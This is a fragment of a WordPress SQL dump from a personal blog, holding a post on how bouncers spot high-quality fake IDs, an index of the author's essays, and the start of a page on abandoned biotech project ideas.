(170,1,'2021-07-22 22:48:57','2021-07-22 22:48:57','','IMG_20200224_173115760','','inherit','open','closed','','img_20200224_173115760-2','','','2021-07-22 22:48:57','2021-07-22 22:48:57','',0,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173115760-edited.jpg',0,'attachment','image/jpeg',0),
(171,1,'2021-07-22 22:50:33','2021-07-22 22:50:33','','IMG_20200224_154420997','','inherit','open','closed','','img_20200224_154420997-2','','','2021-07-22 22:50:33','2021-07-22 22:50:33','',0,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420997-edited.jpg',0,'attachment','image/jpeg',0),
(172,1,'2021-07-22 22:54:56','2021-07-22 22:54:56','<!-- wp:paragraph -->\n<p>One of my favorite things in the world is the very specific, strange competencies that people develop over the course of a job. Carpenters might be able to estimate the length of anything just by looking at it, architects might be able to quickly sketch a remarkably accurate picture from memory, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This post comes from one of those specific competencies. One of my friends in Boston is a bouncer at a busy bar. From his job, he’s gotten very good at spotting fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t a skill a lot of people think about. Even bars don’t often think much about it. Most bars just employ a pretty cursory check of fake IDs: bend the ID to make sure it’s made from proper card stock, try to peel back the edges, check the picture against the person, and maybe quiz the person on their address. If they have the capability, the bars might try scanning the IDs as well, and see if the scan matches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are good for spotting bad fake IDs. They are not useful for spotting good fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Good fake IDs will use the same card stock as real IDs. Their laminates won’t be able to be peeled back. Their photos will be photos that the person took themselves. Their data will be the actual data that the person inputted themselves, and the ID will be scannable. It’ll show that exact same ID’s data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to spot a good fake ID, you have to be more clever than that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how you do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Check the edges</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Feel the edge of your actual driver’s license. You’ll notice it’s smooth with rounded corners. This is because your ID is laser cut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":99,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151135931-1-768x1024.jpg\" alt=\"\" class=\"wp-image-99\"/><figcaption>The edge of my real ID. It\'s smooth to the touch. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The edges of a fake ID might be rough, or have little threads. This is the sign of a hand cut or machine cut ID. These are fake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":168,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154536726-edited-scaled.jpg\" alt=\"\" class=\"wp-image-168\"/><figcaption>The edge of a fake ID. It\'s rough to the touch, as those little bumps and edges snag your fingertips.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>2. Check the laminate</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Laminate on hard plastic is difficult to do correctly. Fake IDs have come along way since the days where it\'d just be glue-on laminate, but that doesn\'t meant the laminate is perfect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On your real ID, the laminate is almost unnoticeable, except for a slight glossy sheen. It ends at the end of the card, although if you look very closely at the edge of the card you can see two or three layers: the laminate, the card stock, and possibly another layer of laminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151139139-768x1024.jpg\" alt=\"\" class=\"wp-image-100\"/><figcaption>My real ID. The laminate sandwiches the cardstock, but it\'s almost unnoticeable.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>On fake IDs, the laminate is often not so well stuck on. The laminate gets folds or dirt underneath it, especially around the edges. It also frequently pokes a tiny bit beyond the edges, which you can see if you flash a light directly on the edges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":127,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154121814-768x1024.jpg\" alt=\"\" class=\"wp-image-127\"/><figcaption>The dirt has gotten underneath this cheap laminate.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Even if the laminate is stuck on correctly, it\'s difficult for fake ID manufacturers to get the same kind of laminate as real ID manufacturers. They use substitutes, which are often far too reflective. You can often see this extreme reflectivity on fake passports, too. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":128,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154250558-768x1024.jpg\" alt=\"\" class=\"wp-image-128\"/><figcaption>The reflectivity on this fake passport is blinding. When I held it under a strong light, it was impossible to read.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>3. Check the raised and indented lettering</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few parts of your ID that have raised and indented lettering. In my Massachusetts ID, my birthdate in the bottom right is raised, and my initials and birthyear under my photo are indented.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><!-- wp:gallery {\"ids\":[98],\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery columns-1 is-cropped\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151048382_HDR-768x1024.jpg\" alt=\"\" data-id=\"98\" class=\"wp-image-98\"/><figcaption class=\"blocks-gallery-item__caption\">The raised letters on my real ID are fully colored in.</figcaption></figure></li></ul></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:image {\"id\":97,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151033461_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-97\"/><figcaption>When I run my fingers across the indented lettering, I can clearly feel the indent.</figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:group -->\n\n<!-- wp:paragraph -->\n<p>This is difficult and expensive to do. Cheaper ID manufacturers might try to cheat it, especially the indented lettering. They\'ll just skip the indent, making the letters in line with the rest of the card stock. You\'ll be able to feel it with your fingers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s especially difficult to have colored, raised lettering. Fake ID manufacturers struggle coloring the lettering in fully, leaving spots or speckles on the lettering.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":138,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154728395-768x1024.jpg\" alt=\"\" class=\"wp-image-138\"/><figcaption>Note the weird \"3D\" effect on the right of each raised number, caused by non-fully colored in numbers.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>4. Check the hologram </h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Holograms used to be a premium security feature on IDs. Unfortunately, that\'s no longer the case. Most fake ID manufacturers have no problems with holograms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, they\'ll still cheap out on the quality of the hologram. For example, on my Massachusetts license, there\'s a hologram of a bird. It has a few features which are very difficult for a fake ID manufacturer to copy: a small cut-out eye, tiny lettering reading \"Massachusetts\", and my initials and birth year embedded within it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":169,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/WIN_20210722_18_41_24_Pro-1024x768.jpg\" alt=\"\" class=\"wp-image-169\"/><figcaption>You should be able to tell that this is an applied, 3 dimensional hologram. The bird has a tiny cut-out eye.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It\'s rare that a fake ID manufacturer will be able to copy that quality of hologram directly. So they\'ll try to cheat. They might just print the hologram directly on the card stock, hoping people don\'t realize that it\'s not raised at all. Or, they might give up on cutting out the eye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":115,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152608421_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-115\"/><figcaption>This hologram is just printed on, rather than applied.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Regardless, if you\'re familiar with the look of the proper hologram, especially the way in which the hologram is raised and separate from the card itself, you\'ll have no problem spotting when a fake ID manufacturer gives up on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Check the back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers are in the business of producing fake IDs good enough that an overworked bouncer or college kid who just spent his last $100 is satisfied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What do both of those groups have in common? They really check the front of the ID, and skim the back. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers know this. So they\'ll often cheap out on the letters on the back. Unlike the letters on the front, the lettering on the back might be misaligned, speckled, or running together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":145,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155838269-768x1024.jpg\" alt=\"\" class=\"wp-image-145\"/><figcaption>What happened to the comma and that t? There was a collision!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>6. Check the laser punch</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another very common security feature is the laser punch. It\'s easier to see if you look at the back of your ID. You\'ll notice tiny little holes, probably in the shape of your state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":122,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153511621_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-122\"/><figcaption>This is the shape of Massachusetts. These are very small, closely put together holes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>To make clean, lined-up holes, you need an expensive laser. As you\'ve probably figured out by now, that\'s not something fake ID manufacturers tend to have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they do their best with machine punching. This results in poorly lined up holes that might look messy or a bit scarred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":153,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_161332787_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-153\"/><figcaption>These holes run into each other and the spacing seems entirely random.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>7. Check the photo</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you remember when you got your photo taken for your license? They made you stand in front of a blank background. There was strong, direct light on your face, then they took a high quality photo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":117,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152911691-768x1024.jpg\" alt=\"\" class=\"wp-image-117\"/><figcaption>This is my ID photo. Note the very dark shadows underneath my jaw and behind my ears because of the strong, direct lighting.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is not how people take fake ID photos. Their friends use their camera phone to take a photo in front of a blank wall. Then the fake ID manufacturers photoshop the photo onto the ID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in a fake ID photo, there may be artifacts left over from the photoshop, like around the edges of the hair. There will likely not be shadows from strong, direct light. The photo may be poor quality or fuzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><!-- wp:cover {\"url\":\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153004518-768x1024.jpg\",\"id\":118,\"contentPosition\":\"center center\",\"style\":{\"color\":{}}} -->\n<div class=\"wp-block-cover has-background-dim\"><img class=\"wp-block-cover__image-background wp-image-118\" alt=\"\" src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153004518-768x1024.jpg\" data-object-fit=\"cover\"/><div class=\"wp-block-cover__inner-container\"><!-- wp:paragraph {\"fontSize\":\"large\"} -->\n<p class=\"has-large-font-size\">The edges of the hair are clearly photoshopped.</p>\n<!-- /wp:paragraph --></div></div>\n<!-- /wp:cover -->\n\n<!-- wp:image {\"id\":170,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173115760-edited.jpg\" alt=\"\" class=\"wp-image-170\"/><figcaption>There\'s no jaw shadow.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":171,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420997-edited-scaled.jpg\" alt=\"\" class=\"wp-image-171\"/><figcaption>Did she airbrush this? Where are her pores?</figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:group -->\n\n<!-- wp:heading -->\n<h2>Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake IDs are better than ever before, driven largely the symbiotic needs of 19 year olds to drink in bars and American cities to fine bars for underage drinking. This is likely problematic, because it also means that non-underage drinking criminals also have access to incredibly high quality fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, these fake IDs are not perfect. Even if you\'re unfamiliar with the look of an individual state ID or national passport, you can still spot a fake one. You just have to look closely.  </p>\n<!-- /wp:paragraph -->','How to spot a good fake ID','','inherit','closed','closed','','90-revision-v1','','','2021-07-22 22:54:56','2021-07-22 22:54:56','',90,'https://trevorklee.com/?p=172',0,'revision','',0),
(175,1,'2021-07-26 15:29:15','2021-07-26 15:29:15','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-07-26 15:29:15','2021-07-26 15:29:15','',22,'https://trevorklee.com/?p=175',0,'revision','',0),
(178,1,'2021-07-26 15:44:57','2021-07-26 15:44:57','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>The unfolded protein response is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>Some combination of TUDCA, 4-PBA, and a sigma-one receptor agonist can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>ER Stress definitely occurs in heart failure (it makes sense, there\'s a lot of damage happening all around).</li><li>Medications to alleviate ER stress (TUDCA, 4-PBA) help in mouse models of heart failure, which are done mechanically.</li><li>Sigma one receptor agonists can help in animal models of heart failure, seemingly by acting as molecular chaperones in the ER.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>someone beat me to it. They tested sertraline, an antidepressant with significant affinity for the sigma one receptor, in patients with depression and heart failure. It helped the depression but not the heart failure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More broadly, there was a big problem with the gap between the animal model and the human condition. Humans experience heart failure chronically. There\'s no equivalent of mechanically restricting the aortic valve. So I think there\'s definitely something missing about the model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph 